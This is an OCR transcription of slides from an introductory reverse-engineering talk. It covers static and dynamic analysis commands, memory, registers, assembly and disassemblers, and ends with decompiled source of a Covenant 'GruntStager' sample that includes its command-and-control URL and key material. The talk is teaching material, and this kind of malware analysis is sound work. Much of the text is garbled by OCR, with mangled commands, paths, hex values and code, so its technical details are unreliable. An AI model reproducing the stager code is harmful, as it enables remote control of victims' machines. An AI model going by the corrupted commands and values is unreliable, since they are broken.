~

48 8d 3d 95 01 00 00 RDI, [s_Enter_the code >>> 00100a64]

B8 00 00 00 00 EAX, 0x0
E8 d7 fd ff ff <EXTERNAL>::printf

b printf(“Enter the code\n>>> “);
BinExp Corner:

' Intro to Reverse Engineering




What this talk about

Beginner’s look into reversing binaries
Dynamic vs Static Analysis

Some tools

Memory Structure

x86-x64 Architecture and Assembly
Intro to Disassemblers and Debuggers
Some intro level examples

Lots of Links and Resources

What it definitely is NOT

* In depth look into all things reversing and exploitation
* An intro to malware analysis
* Do NOT immediately apply this to malware — you'll get infected
* There’s a lot we won'’t cover - like setting up a secure environment



Static

* Analysis of an application by examining the code and application

artifacts without executing it
* e.g.: file, strings, disassembly...

Dynamic

* Analysis of an application during runtime
* e.g.: Looking at memory or CPU registers in a debugger, using strace to see what
system calls are invoked by the application ...



Example from the THM room:
CC: Radare2

The file and strings commands
file

[:—(omegavoidﬁ%h4x)—[~/Documents/Talks/BinEpo]
$ file example?

example2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /1ib64/1d-11nux-x86-64.s0.2, for GNU/Linux 3.2.0, BuildID

[shal]=481b6T10b0206d742285a7303519d551239094a2, not stripped

* Based on a number of tests it tells you:

* What kind of file you're looking at
 What CPU architecture it was compiled for
e Can tell you what language it was written in

* Do NOT skip this step.
 How you analyze a .NET executable can be very different from how a C
binary or even golang. Research what you're looking at.



Example from the THM room:

Ox41haz
The file and strings commands
file

* Things can go wrong:

[:—(omegavoidﬁ%h4x)—[~/Documents/Talks/BinEpo]
$ file 0x41lhaz.0x41lhaz
Ox41haz.0x41haz: ELF 64-bit MSB *unknown arch 0x3e0@0* (SYSV)

* If it looks wrong or broken it means it failed some of its tests.

e Could mean someone purposefully manipulated the ‘magic numbers’ in the
file headers, or some other types of obfuscation.

* You can often fix this with educated guesses via hexeditor
* Requires some research (googling) or knowing what these ‘magic numbers’
typically look like



Example from the THM room:

Ox41haz
The flle and Strlngs Commands l_—$::omegauutd@h4x}—:~fDocuments;’Talks;’EtnEpo:

strings 0x4lhaz.0x41haz

1 /1ib64/1d-1inux-x86-64.s0.2
exit
. ) puts
* Prints out any sequence of printable strien
: __cxa_finalize
characters that is at least 4 characters long Siiibc STRFE.nATD
(unless told otherwise with -n) libc.s0.6
GLIBC 2.2.5
L. . _ITM_deregisterTMCloneTable
* Some insight into what the program does __gmon_start__
without actually executing it. M Tciaietante
2@@25%gfH
- Can help figure out what the executable is el

when the file command is not helping e

* May sometimes leak valuable strings It's jus a simple binary
i i Tell Me the Password :
(passv_vords, information on the_ type of 1i \fcirroc. 1 dine ihinker
encoding or cryptography that is used on a Nope
i Well Done !!
binary) e3g"

GCC: (Debian 10.3.0-9) 10.3.0



First Step

The file and strings commands
Strings — gone wrong?
It’s just statically linked golang

callsuspendG from non-preemptible goroutinetransport endpoint is already connected138777878078144567552953958511352539062
569388939039077
ulkBarrierPreWn

Lng — (omegavoid® h4x)-[~/Documents/Talks/BinExp2]
: typeBitsBulkE $ file ﬂge_l_g

346944695195361

ceonjects asies angel_B: ELF 64-bit LSB executable, x86-64, version

is runtime: bld

ialize

internal /fena . T
By Example from the THM room:
inte Binary Heaven

internalycpu. LsseL

T!$4

internal/cpu.cpuid
internal/cpu.xgetbv

type..eq. internal/cpu.CachelinePad
type..eq.internal/cpu.option
type..eq.[15]internal/cpu.option
runtime/internal/svs.OnesCountbd

r
ptr

(SYSV), statically linked

greestopthetior ™ - GO BulldID=Xd_LgpWItJIBNImN631Qy/oWW_4FYae77KCrbbrcIX/2pmyS7gUszdXBso0AYWo/PyE

stack

173472347597680 4 ] ]
e JnQ2VYI7PId10mGXg, not stripped
e threadpersist

ing polldescsyr
gcMarkWorkerMoolgrSn niay . ar
call should be restartedmultlple Read calls return no data or errornon in- use span found with specials bit setreflect: nil
type passed to Type.Implementsroot level max pages doesn't fit in summaryruntime.SetFinalizer: finalizer already setrunti
me.SetFinalizer: first argument is nilruntime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bit
s runtime: releaseSudog with non-nil gp.paramunfinished open-coded defers in deferreturnunknown runnable goroutine during
bootstrap using value obtained using unexported fieldgcmarknewobject called while doing checkmarkout of memory allocating
heap arena metadatareflect: FieldByNameFunc of non-struct type reflect: funclLayout with interface receiver runtime: 1fstac
k.push invalid packing: node=cannot send after transport endpoint shutdownexitsyscall: syscall frame is no lenger validhea
pBitsSetType: called with non-pointer typereflect: internal error: invalid method indexreflect: nil type passed to Type.As
signableToruntime: failed mSpanList.remove span.npages=scavengeOne called with unaligned work region (bad use of unsafe.Po
inter? try -d=checkptr)

memory reservation exceeds address space limitpanicwrap: unexpected string after type name: reflect.Value.Slice: slice ind
ex out of boundsreflect: nil type passed to Type.ConvertibleToreleased less than one physical page of memoryruntime: faile
d to create new 0S thread (have runtime: name offset base pointer out of rangeruntime: note: your Linux kernel may be bugg

it e i L AP o ted L UL L et M ey o e

Yy

runtime: panic before malloc heap initialized

runtime: text offset base pointer out of rangeruntime: type offset base pointer out of rangeslice bounds out of range [:%x
] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to pallocChunkBytesP has cached G
C work at end of mark terminationattempting to link in too many shared librariesslice bounds out of range [::%x] with leng
th %yruntime: cannot map pages in arena address spaceslice bounds out of range [:%x] with capacity Systrconv: illegal Appe
ndFloat/FormatFloat bitSizecasgstatus: waiting for Gwaiting but is Grunnablefully empty unfreed span set block found in re
setinvalid memory address or nil pointer dereferenceinvalid or incomplete multibyte or wide characterpanicwrap: unexpected

oo —

memeqbudy

runtime.memequal
runtime.memequal_varlen
indexbytebody
internal/bytealg.IndexByteString
runtime.memhashl28
runtime.strhashFallback
runtime.f32hash

runtime.fastrand

runtime.f64hash

runtime.c64hash
riintime r12?8hach



The file and strings commands

* file and strings are both part of very basic static analysis

e |n windows PE it's also useful to learn about PE headers
— which we can analyze with: pecheck

* https.//github.com/DidierStevens/DidierStevensSuite


https://github.com/DidierStevens/DidierStevensSuite

First Step

The ldd command

* Lists dependencies on the ELF header of a binary

Ls

(omegavoid® hdx)-[~]
1dd fusr/bin/nmap

linux-vdso.so.1 (Bx08E07fff4256T000)

libpcre.so.3 == /lib/x86_64-1linux-gnu/Llibpcre.so.3 (0x00887Ff377812000)
libssh2.s50.1 == /lib/x86_64-1linux-gnu/Llibssh2.s50.1 (0x00887ff3777d1000)
libssl.so.1.1 == /lib/x86_64-1linux-gnu/Llibssl.so.1.1 (@x@8807ff37773=000)
libcrypto.so.1.1 == /lib/x86_64-linux-gnu/libcrypto.so.1.1 (@x00007ff377449000)
libz.s0.1 == /1lib/x86_64-linux-gnu/libz.s50.1 (@x@8007Tf37742cE00)
liblinear.so.4 == /lib/xB86_64-1linux-gnu/Lliblinear.so0.4 (0x00007ff37741a000)
liblua5.3-1peqg.s50.2 == flib/x86_64-1linux-gnu/Lliblua5.3-1peg.s50.2 (Ox00007ff37740a000 )
liblua5.3.s0.8 => /1lib/x86_64-1Linux-gnu/liblua5.3.50.0 (OxB8B87FF3773cdan)
libstdc++.s50.6 => /lib/x86_64-1Linux-gnu/libstdc++.s50.6 (OxBBBB7TF3I771b0ABA )
libm.so.6 == /lib/x86_64-1linux-gnu/libm.so.6 (@x@8887ff37706d000)

libgcc_s.s50.1 == /lib/x86_64-1inux-gnu/Llibgcc_s.s0.1 (0x@8887ff37704d000)
libc.so.6 == /lib/x86_64-linux-gnu/libc.so0.6 (@x@8887ff376e73000)
libpthread.so.®@ == /lib/x86_64-1linux-gnu/libpthread.so.® (@x@B@@7ff376250000)
libdl.s0.2 == /lib/x86_64-1linux-gnu/libdl.s50.2 (@x008007ff376e42008)
libblas.so0.3 == /lib/x86_64-1linux-gnu/Llibblas.s0.3 (0x00807ff376dd9000)
J1ib64/1ld-1inux-%x86-64.50.2 (BxOR087Ff377bbedon)



The strace and [trace commands
strace

e Useful if the binary interacts with the linux kernel
e Executes the binary until it exits.

* Records system calls made by the process and the signals
which are received by the process.



Dyn amIC AnaIyS|S Example from the THM room:

CC: Radare2

The strace and ltrace commands
strace

l_—f. omegavoid® hdx )-[~/Documents,/Talks/BinExp2]
$

strace ./examplel
execve(". /examplel", ["./examplel"], 0x7ffeB137e988 /* 74 vars */) = B8

brk{NULL) = @Bx563fc546bL000 I
access("/fetc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)

openat{AT_FDCWD, "/etc/ld.so.cache", 0_RDONLY|O_CLOEXEC) = 3

newfstatat({3, "", {st_mode=5_ IFREG|®8644, st size=112983, ...}, AT_EMPTY_PATH) = 8

mmap(NULL, 112983, PROT_READ, MAP_PRIVATE, 3, 0) = @x7f04dec280088

close(3) =0

openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.s0.6", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0%3\0>\0\1\0\0\0@y\2\0\0\0\048" ..., 832) = 832

pread64(3, "\6\0%0104\0%0%0@\0\0\0\040\0\0@\0,04040\0\0\0@\04040404,04040"..., 784, 64) = 784

pread64(3, "\4\0\0%8\28%00408%50\0\0GNUYEY2\20084843004448%040%1484040488\04\6", 32, 848) = 32

preade4(3, "\A\0\0\E\24\8\0\0%3\B\O\OGNUNETY\3233154324#\241\204X\3314333:"P\242263\300@"..., 68, 880) = 68
newfstatat(3, "", {st_mode=5_IFREG|B8755, st _size=1904752, ...}, AT_EMPTY_PATH) = @

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, B) = @8x7f04dec26008

preadg4(3, "\6%0%8%0%4%0%0%0@EY\0%8%0%8%0%\8%0@4\0%0%8%0%0%0%\0@\840%840\840N\8"..., 784, 64) = 784

mmap(NULL, 1938296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 8) = @x7f@4deadcBdB@

mprotect(@x7f04dea72008, 1724416, PROT_NONE) = @

mmap (0x7f04dea72000, 1409024, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7f04dea72000
mmap (0x7f@4debca®®®, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17e000) = 0x7f04debcadoe
mmap(@x7f@4dec17000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 8x1cal@B®) = 0x7f04decl7o8@
mmap (@x7f04dec1d@@®, 33656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 8) = 0x7f04decldose
close(3) = B

Immani MIILT 9107 PEOT BCARIPEAT WETTE MAD PRTYATE IMAD AMAMYMAOIISE 1 &Y — GBvTE@dAda= A6




The strace and ltrace commands
Itrace

* Similar to strace, but sometimes a bit more useful
* Will record every dynamic library called by the process
e Can also, like strace, record system calls (-S)

* With -i flag it'll print the Instruction Pointer value when a
dynamic library is called



Dynamic Analysis

[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid
[pid

The strace and ltrace commands

Itrace

[:—[omegavuidﬁ3h4xj—[~fDocumentszalksztnEpo]
¢ ltrace -fS nmap -h

8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037]
8037 ]
8037]

SYS_brk(@)

SYS_access("/etc/ld.so.preload"”, 04)
SYS_openat(Oxffffff9c, Ox7f02ef0ec288, 0x80000, 0)
SYS_newfstatat(3, 0x7f02ef@eba75, 0x7ffd6ld317a0, 4096)
SYS_mmap(®, Oxlbabf, 1, 2)

SYS_close(3)

SYS_openat(Oxffffff9c, Ox7f02ef0f7ef@, 0x80000, 0)
SYS_read(3, "\177ELF\OO2\001\G01", 832)
SYS_newfstatat(3, 0x7f02ef@eba’75, O0x7ffd6ld317a0, 4096)
SYS_mmap(0, 8192, 3, 34)

SYS_mmap(0, 0x75108, 1, 2050)

SYS_mmap(0x7f02ef033000, 0x55000, 5, 2066)
SYS_mmap(0x7f02ef088000, 0x1d000, 1, 2066)
SYS_mmap(0x7f02ef@a5000, 8192, 3, 2066)

SYS_close(3)

Bx56095c6d2000
-2

3

®
Bx7T02ef0a9000@
®

3

832

®
Bx7f02ef0a/000
Ox7T02ef031000
Ox7f02ef033000
Bx7f02ef088000
Bx7T02ef0a5>000
®

* strace and Itrace are both part of basic dynamic analysis



Dynamic Analysis

The strace and ltrace commands
Itrace

l_—lﬁ omegavoid® hdx)-[~/Documents/Talks/BinExp2]
$ ldd Jusr/bin/nmap
linux-vdso.so.1 (@xBEEO7fffe2b77008)
libpcre.so.3 == /lib/x86_64-1inux-gnu/Llibpcre.so.3 (0x00007fbed30f6000)
libssh2.s50.1 == /lib/x86_64-1linux-gnu/Libssh2.s0.1 (@x08807fbed308b5080 )
1ihssl .sn.1.1 == flih/x8f RA-Tinux-aonuslihss] sn.1.1 (AxAAAATThedIOP2ARM )

l_—lﬁ omegavoid® hdx ) -[~/Documents,/Talks/BinExp2]
$ ltrace -1 libssh2.so0.1 nmap -p22 -Pn 192.168.1.86
Starting Nmap 7.92 ( https://nmap.org ) at 2022-85-083 16:46 WEST

Nmap scan report for 192.168.1.86 (omegavoid® hdx)-[~/Documents/Talks /BinExp2]

Host is up (8.8815s latency). $ ltrace -1 libssh2.s0.1 nmap -p22 -Pn --script wvuln 192.168.1.86 -wv
Starting Nmap 7.92 ( https://nmap.org ) at 20822-05-83 16:43 WEST
PORT  STATE SERVICE nmap->1libssh2_init(0, Oxfffffffe, 0x55776ccfB560, Bx55776ccefeds)

22/tcp open ssh NSE: Loaded 185 scripts for scanning.

"NSE: Script Pre-scanning.
Nmap done: 1 IP address (1 host up) scanned iygg. Starting runlevel 1 (of 2) scan.

+++ exited (status 8) +++ Initiating NSE at 16:43
NSE Timing: About 50.00% done; ETC: 16:44 (@:80:31 remaining)



* We've barely scratched the surface.

* To go deeper we need to learn more about Memory, the
CPU and its registers and Assembly.

 We’'ll only look at it on a surface level — to do otherwise
would take way too long. Do your research.



Memory, CPU and Assembly

Structure of a Process in Memory

e Stack - Temporary data, methods and function
parameters live here (return addresses, local args and
variables)

* Heap - Memory that is allocated dynamically to a
process during runtime. (mostly managed by malloc() )

* Process image:

* BSS - ‘block start by symbol’ - Essentially memory
space for uninitialized static variables

e Data - Global and Static variables.

» Text — Read only section with executable instructions,
constants and macros

Process Mem




Memory, CPU and Assembly

CPU Registers

» Very small, very fast, data storage sites in the processor

* They have specific uses and vary depending on CPU architecture.
x86 accumulator (EAX):

8 bits 8 bits

< 16 bits
32 bits

v Vv

y N

X64 accumulator (RAX):

< 32 bits

v Vv

y N

64 bits



» There are quite a number of register with specific uses

A few to remember:

x64 x86  function

RAX | EAX | Accumulator

RBX | EBX | Base (pointer to data)

RCX | ECX | Counter (shift/rotate and loops)

RDX | EDX | Data (arithmethic and 1/O)

RSI | ESI | Source Index (point to source in stream ops)

RDI | EDI | Destination Index

RBP | EBP | Base Pointer (points to base of current stack frame)
RSP | ESP | Stack Pointer (points to top of the stack)

RIP | EIP | Instruction Pointer (address of next instruction)




Flags
» There’s a specific register which depending on the architecture may be FLAGS (16bit),
EFLAGS (32bit) or RFLAGS (64bit)

* In this register each specific bit of the register Is represents a boolean value (1 = true; 0 =
false)

 Combined, these represent the state of the processor and the result of operations

Some flags to remember:
CF — Carry Flag — set when the result of an operation is too large for the destination operand

ZF — Zero Flag — set when the result of an operation is equal to zero
(used in comparisons and jumps)

SF — Sign Flag — Set if the result of an operation is negative
TP — Trap Flag — Set when in debugger mode (doing step by step execution)



Different Architectures
 Endianness

Oxdeadbeef %

» Typically not a problem for a program since it always uses the same endianness. It doesn't
have to translate between the two.

Oxde Oxad Oxbe Oxef — big-endian

Oxef Oxbe Oxad Oxde — little-endian

» But we need to be aware of it, because we might want to directly extract values from
memory or edit memory/insert values.



Different Architectures

e Calling Conventions
» Lucky for us x64 only has two — and an extension (example with int values)

funcl(int a, int b, int c, int d, int e, int f);

» Unlucky for us, x86 has 5 common calling conventions

e _ cdecl, __ fastcall, COM, Native C++ (or thiscall) and Win32 or (__stdcall)

* But they preserve all registers except eax,ecx, edx and esp

e They return 32bit or smaller values in eax

https://en.wikipedia.org/wiki/X86_calling_conventions



Assembly

C Code
(High-Level)

#include <stdio.h>

void main(void)

{

puts(“Hello World”),

Assembly Code (main)
(Low-Level)

push rbp

mov  rbp,rsp

lea  rax,[rip+0xecO]
mov  rdi,rax

call 1030 <puts@plt>
nop

pop rbp

ret

nop

Machine code (main)
(Low Level)

55

48 89 e5

48 8d 05 c0 Oe 00 00
48 89 c7

e8 e4 fe ff ff

90

5d

C3

90



Assembly: Intel Syntax — There Is also AT&T Syntax
instruction destination, source

mov ah, 0x01
 If we want to reference a location in memory we can place the address in bracket:
rip = 0x55555555555551a2
rip+0x2f16 = 0x55555555555580B8
[rip+0x2f16] = whatever the value is at memory address 0x55555555555580B8

mov rdi, QWORD [rip+0x2f16]

T

What is this?



Assembly: bits bytes words and stuff

mov rdi, [rip+0x2f16]
* How would we know how much to copy?
* In intel syntax we define it explicitly by using a keyword:
e Byte — 8 bits
 Word — 16 bits or 2 bytes
e Dword — 32 bits or 4 bytes

 Qword — 64 bits or 8 bytes
mov rdi, QWORD [rip+0x2f16]

T

What about this?



Assembly: Instructions

Data Transfer Arithmetic Logic

-mov. move -mul/imul -sub -and -or

-lea: load effective address -div/idiv -inc -xor -shl/shr
-xchg: exchange -add -rol/ror

Comparisons and Jumps Control Flow and Stack Operations (LIFO)
-cmp — updates flags based on src — dest -call

-jmp -push

e (ZF ==1) -pPop

-jnz (ZF == 0) -ret

-jnb (CF == 0)

Guyinatuxedo’s Nightmare — CSAW!'18

https://github.com/guyinatuxedo/nightmare/blob/master/modules/03-beginner_r
e/csawl8 x86tour ptl/stagel.asm



https://github.com/guyinatuxedo/nightmare/blob/master/modules/03-beginner_re/csaw18_x86tour_pt1/stage1.asm
https://github.com/guyinatuxedo/nightmare/blob/master/modules/03-beginner_re/csaw18_x86tour_pt1/stage1.asm

Memory, CPU and Assembly
THM — Windows x64 Assembly

Assembly — Conditionals and Loops

THM — Windows Reversing Intro room

https://guyinatuxedo.github.io/O1-intro_assembly/reversing _assembly/index.html



Stack Frames

main{ ){
int numi;
int num2;
func();

}

func( ) {
int num3;
return;

}

ESP

Available
Stack Space

int num2
int num1

main() frame

ESP

Available
Stack Space

S
func() call

int num3
return address

Func() Frame

int num2
int num1

main() frame

Available
Stack Space
ESP >
4’funco int num2
returns |nt numl

main() frame




Disassemblers (and decompilers) — Static Analysis Tools!

* Hex Rays’ IDA
* Workhorse of the industry
* Very well established
* Excellent graph view
* Newer free version finally has a decompiler

* Ghidra
* Open source
* Developed by NSA
* Very extensible (python plugins etc)
* Very good decompiler



ols And Example
Ghidra — Quick Example

by



Debuggers

* Windows:
* X32/x64dbg
* Immunity Debugger

e Linux:
e gdb (+ plugins like pwndbg or gef)
 Radare2
* rizin



ols And Example

Radare2 — Examples ...



Example:

So let’s say we have the windows PE that we don’t know what it Is:

B Test2.exe

We’'re all happy so we throw it in Ghidra, it takes a while analyzing it.

ExecuteStager We see some interesting functions, nice.. let’s see

get_CockieContainer
GetWebRequest
Invert

Main

Parse

set CookieContainer
SetCookies

F
i
f
f
f
f
f
f
f

>
*
[
>
>
>
>
>
>




We start looking at the decompiled code

We feel instantly lost

Why? Let’s get Back to the basics.

Varlo = (char)in_EAK;
if (in_CF) {
¥in_EAX = *1n_EAX + cVarl;

r #¥)unaff EST = *{char *)Junaff_ESI + cVarlD;

| (uint)bvars):

) ((int)
yte #)((int)p

arg) + *(int #*){unaff_EBX +

(byte *)(i1n_EDX + 1), (char)in_EDX)

(uintluvar2a);

42+ flnTJun1TT ES
Varld;

~ kpuvarld);
r#)({int)ppcvarls +

cVarls + cVarlo;
Y({int)&usStacka + (int) DAT 9d2c1flE)
Junaff EDI - cvarle;
Varlo;
cVarls,

(charlin E




Example:

Let's take a look with the file command

I_—[ omegavold® hd4x)-[~/Documents/Talks/BinExp2]
$ Tile Test2.exe
Test2.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for M5 Windows

Oh, it's a .Net compiled file. Are there tools for this?

YES dnSpy and ILSpy



=-+3 Test2 (0.0.0.0)
# 'S References
5§} -
# # <Module>
= {} GruntStager
# "% GruntStager

public class GruntStager
EH

public class CookieWebcClient : WebcClient

public static class MessageTransform

public GruntStager()

ad]

public static void Main(string[] args)

new global:GruntStager.GruntStager();

public static void Execute()

new global::GruntStager.GruntStager();

public void ExecuteStager()

[sTAThre

{

¥

{

1

{
try
{

List<string= list = Enumerable.ToList("http://10.50.104.172:85".Splitinew char[1] { '.' }));
string CovenantCertHash = "";
List<string=> list2 = Enumerable.ToList(Enumerable.Select(Enumerable. ToList("VXNIcilBZ2Vuda==,Q29va2ll".Splitinew char[1] { '.' })), (string |
List=string= list3 = Enumerable.ToList(Enume Select(Enumerable. ToList{"TW96aWxsY581LjAgKFdpbmRvd3MgTIQgNi4xKSBBcHBsZVdlYktpd
List<string> list4 = Enumerable.ToList(Enumerable.Select(Enumerable. ToList("L2VuLXVzL2luZGV4LmhObWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2
string format = "i=al9ea23062db990386a3a478cb89d52eadata={0}&session=75db-99b1-25fed4e9afbe58696-320bea73". Replace(Environment.Ni
string format2 = "<html=\n <head=\n =<title=Hello World!<title=\n </head=\n <=body=\n =p=Hello World!</p=\n // Hello World
bool ValidateCert = bool.Parse("false"};
bool UseCertPinning = bool.Parse("false");
Random random = new Random();
string text = "dal64899f3";
string text2 = Guid.NewGuid(). ToString().Replace("-", ")

.Substring(0, 10);
byte[] key = Convert.FromBase64String("bsUeH43kD+gxm6xWpNCII1QXEYyPhQsGbag/Riotp201=");
string format3 = "{ {\"GUID\":\"{0 1" \"Type\": {1} \"Meta\"\"{ 21" "I { 3" \"Encry ptedMessage\":\" {4 1\ \"HMAC" \" {5 1\"} }";
Aes aes = Aes.Createl();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;

|




Example:

We have the Source Code! It's obfuscated, but we can even extract an IP
there.

Bottom Line, don’t skip steps. Do your research. The more you know about a
sample the more you can find out the right way to approach it.

Another example of this happening is when people try to decompile .dex files
In ghidra and suddenly being unable to understand what they are doing.

Instead they could use dex2jar or jadx to obtain a Jar out of that an analyze It
with a java decompiler like: http://java-decompiler.github.io/

Don’t skip steps. Do your research.



Just the tip of the Iceberg

Lots to cover:

Packers and Obfuscation
Encryption

Memory Protections

Return Oriented Programming
Other Architectures

And much more...
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